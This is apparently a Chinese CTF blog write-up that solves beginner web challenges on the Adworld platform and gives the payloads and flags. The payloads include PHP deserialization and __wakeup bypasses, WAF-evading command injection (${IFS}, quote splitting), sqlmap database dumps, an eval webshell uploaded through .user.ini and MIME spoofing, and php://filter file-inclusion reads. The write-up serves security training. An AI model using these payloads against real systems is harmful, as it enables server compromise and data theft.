CTF|WP|攻防世界|adworld-web-难度1

攻防世界|web|难度1
https://adworld.xctf.org.cn/challenges/list

在这里插入图片描述

Training-WWW-Robots

n this little training challenge, you are going to learn about the Robots_exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.

Enjoy!

提示 robots.txt 访问 /robots.txt

User-agent: *
Disallow: /fl0g.php


User-agent: Yandex
Disallow: *

访问 /fl0g.php

cyberpeace{ce18c725e275dbc6174327f24928ec09}

PHP2

Can you anthenticate to this website?

你能认证这个网站吗?

猜测是信息泄露,这题访问 /index.phps

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

关键在于 urldecode进行了解码操作,但是实际上浏览器本身就会进行一次解码, 所以一共是两次。也就是说:

  • 解码前 !== admin
  • 解码后 ==admin

那么可以设置 ?id=%2561dmin ,第一次解码, %25变成 % ,成为 %61 再次解码得到a

Key: cyberpeace{5b8c19037ca48efff24b5054838e1483}

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据提示,查询参数是 code,使用反序列化传入代码,这题的点在于 __wakeup他会在反序列化执行之前先运行,所以直接exit了,但是__wakeup有个特性,就是当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup 的执行

<?php
class xctf {
    public $flag = '111';
    public function __wakeup()
    {
        exit('bad requests');
    }
}

$a= new xctf();
echo serialize($a);
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

我们只需要将属性个数 1 改成 2,或者更大,__wakeup就不再执行,发送 ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

cyberpeace{a04443869dca4b93357f9bd6395ccfcf}

ics-06

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

image-20231028113827844

只有报表中心可以打开,image-20231028113854200按钮也不能点击,查询参数 ?id=1还以为是sql注入,发现只能id只能等于数字,使用brup进行爆破,发现id=2333的包长度不一样,查看返回的内容

cyberpeace{4fb37348928b8139e576eac0edd356b0}

view_source

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

F12打开源码即可

<!-- cyberpeace{649e587dbcdd74610d3060b368b658d9} -->

get_post

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

请用GET方式提交一个名为a,值为1的变量
请再以POST方式随便提交一个名为b,值为2的变量
cyberpeace{4ea917e24b2a21b7d0511dff79ff70ea}

robots

X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

访问 /robots.txt

User-agent: *
Disallow: 
Disallow: f1ag_1s_h3re.php

访问 /f1ag_1s_h3re.php

cyberpeace{c56ce8747ed55e4dc4234c36fee76a2c}

backup

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

你知道index.php的备份文件名吗?

访问 /index.php.bat,即可下载备份文件,包含flag

Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

cookie

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

你知道什么是cookie吗?

Cookie:look-here=cookie.php

访问/cookie.php

See the http response

查看返回头

cyberpeace{e42ff67cb64d9f8990d012b6f850f443}

disabled_button

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

image-20231028123734515

<input disabled="" class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">

disabled 删除即可点击

cyberpeace{61aba9dd5b8ebe80c7a8be60402af930}

weak_auth

小宁写了一个登陆验证页面,随手就设了一个密码。

image-20231028125621604

根据提示,尝试brup进行爆破,默认尝试admin为用户名,image-20231028130121064爆破出密码是00123456

cyberpeace{df1e4fa956d1dae649e7cd7532dbc02e}

simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

a可以利用弱比较,字符串和数字比较自动转化成0

发送请求 ?a=admin&b=999a

Cyberpeace{647E37C7627CC3E401

b可以利用is_numeric(1234a)false,并且利用弱比较1234a>1234

9EC69324F66C7C}
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

baby_web

想想初始页面是哪个

HELLO WORLD

初始页面就是index.php,没有展示但是network里有发包,查看请求头。

flag{very_baby_web}

inget

Please enter ID,and Try to bypass

尝试使用get发送 使用万能密码 id=' or ''='

  • 原理:
    • 传入id=123 实际上会传入 'id=123'
    • 所以传入 id=' or ''='实际上是 'id=' or ''=''

使用sqlmap工具

  1. 扫描网站 sqlmap -u "http://61.147.171.105:54285/?id=1"

    web server operating system: Linux CentOS 6
    web application technology: PHP 5.3.3, Apache 2.2.15
    back-end DBMS: MySQL >= 5.0.12
    
  2. 扫描网站的所有数据库 sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs

    available databases [4]:
    [*] cyber
    [*] information_schema
    [*] mysql
    [*] test
    
  3. 扫描cyber数据库下的表 sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables

    Database: cyber
    [1 table]
    +-------+
    | cyber |
    +-------+
    
  4. 扫描表下的字段 sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables -T cyber --columns

    Database: cyber
    [1 table]
    +-------+
    | cyber |
    +-------+
    
    Database: cyber
    Table: cyber
    [3 columns]
    +--------+------------------+
    | Column | Type             |
    +--------+------------------+
    | user   | varchar(20)      |
    | Id     | int(11) unsigned |
    | pw     | varchar(64)      |
    +--------+------------------+
    
  5. 扫描字段内容 sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables -T cyber --columns -C pw --dump

    Database: cyber
    [1 table]
    +-------+
    | cyber |
    +-------+
    
    [14:09:47] [INFO] fetching columns 'pw' for table 'cyber' in database 'cyber'
    Database: cyber
    Table: cyber
    [1 column]
    +--------+-------------+
    | Column | Type        |
    +--------+-------------+
    | pw     | varchar(64) |
    +--------+-------------+
    
    [14:09:47] [INFO] fetching entries of column(s) 'pw' for table 'cyber' in database 'cyber'
    Database: cyber
    Table: cyber
    [1 entry]
    +----------------------------------------------+
    | pw                                           |
    +----------------------------------------------+
    | cyberpeace{787ec65b4a1ccda5ced5253ec5e5ad49} |
    +----------------------------------------------+
    

    即可拿到flag

easyupload

一名合格的黑客眼中,所有的上传点都是开发者留下的后门

image-20231028154611618

先直接上传.php,提示:

Your file looks wicked

上传.jpg,提示:

file upload successful, the path is: uploads/a.jpg

​ 接下来思路就很清晰了,改包加入木马,通过尝试发包的时候要更改 Content-Type: image/jpeg这样可以绕过mime检测,使用 GIF98a可以绕过文件头的检测,发现php后缀没办法上传,使用 .user.ini 漏洞文件包含有木马的文件,使用 <?=eval($_POST['star']);?>作为木马可以绕过对文件内php字符的检测 ,在 uploads/index.php使用POST传参 system('cat /f*');即可打印flag,这里也可以连接蚁剑。

fileinclude


Notice: Undefined index: language in /var/www/html/index.php on line 9
Please choose the language you want : English or Chinese
Hi,EveryOne,The flag is in flag.php

得到一个路径 /var/www/html/index.php 猜测 flag.php 也在其中,打开源代码看到有php代码

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

显然是一个文件包含题,在 cookie 中传入lan变量,能把flag.php包含输出,brup发包携带cookie

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezJmMjcyY2M4M2ZkMGFmN2JkODMzY2VjMzEyMjcyOGRifSI7DQo/Pg==<

尝试进行解码,最终发现是base64加密

<?php
$flag="cyberpeace{2f272cc83fd0af7bd833cec3122728db}";
?>

fileclude

好多file呀!

WRONG WAY! 
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

也是一个包含题,GET传参file1file2file1用来包含输出flagfile2 因为不知道名字使用 php://input 代替读取。

?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input

然后再POST传参,这里穿的就是file2的内容,传入hello ctf,这里要用burphackbar会由于格式不对不发请求

PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXszZjk5MDAzNTAyYmJmZWE0ODlhZGU1MDM3MjQ1ZmQ4ZH0=

尝试进行解码,最终发现是base64加密

<?php
echo "WRONG WAY!";
// $flag = cyberpeace{3f99003502bbfea489ade5037245fd8d}

unseping

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

反序列化题目,post传参ctf,序列化代码需要先进行base64加密

反序列化之前,会在waf中进行字符串检测,最终还是在ping方法中执行Linux指令,而ping是在__destruct中被调用,要求就是methodarray(ping)中。也就是要求method = ping ,接下来call_user_func_array会调用method传参是arg中的数据,method=ping可以利用ping函数执行Linux代码。

<?php

class ease
{
    private $method;
    private $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;

    }
}

$a = new ease("ping", array("l''s"));
$b = serialize($a);
echo $b . '\n';
echo base64_encode(serialize($a));
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:4:"l''s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }

发现有个flag_1s_here文件夹,尝试再使用ls,这里的空格被过滤,使用 ${IFS}替换

O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

使用cat读取php文件

O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.p""hp";}}

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZmwiImFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{a7c686b5468e3289e7c902b967b8ed24}" }

file_include

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

文件包含题,GET传参,多次尝试

?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=check.php

能出值

<�?php if($_GET["filename"]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; if (eval($preg_match_username)) { die("do not hack!"); } }

把check直接改成flag试试

<�?php $flag='cyberpeace{073940485f330ba430a8f45eb90757ca}';

easyphp

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

最后key1=key2=1才能输出flag,条件是a,b,c要按照要求

  • a的条件,大于6000000但是字数小于3,科学计数法 a=1e9
  • b的条件,md5加密后,以8b184b结尾,爆破得到 b=53724
  • c的条件,c是一个json格式。
    • 有一个键m对应的值不满足is_numeric,但是大于2022,可以是2022a
    • 有一个键n对应的值也要是数组,并且有两个元素,第一个元素是数组 [[],]
    • n中要能搜到DGGJ但是遍历到DGGJ也不行。

array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。其实相当于键值与“DGGJ”进行比较,而 php中当一个数字与一个字符串/字符进行大小比较时,首先系统尝试将此字符串/字符转换为整型/浮点型,然后进行比较。所以当n键对应的值为数字且包含数字0的话,DGGJ被视为0,即可在”其中找到DGGJ“,返回True。

https://blog.csdn.net/m0_51683653/article/details/128839648

所以最终确定c是 {"m":"2333abc","n":[[0,1],0]}

?a=1e9&b=53724&c={"m":"2333abc","n":[[0,1],0]}
ou're right cyberpeace{ff294c5c7b92f26d81bfa83f49e605aa}

.

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

D0ublecl1ck

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值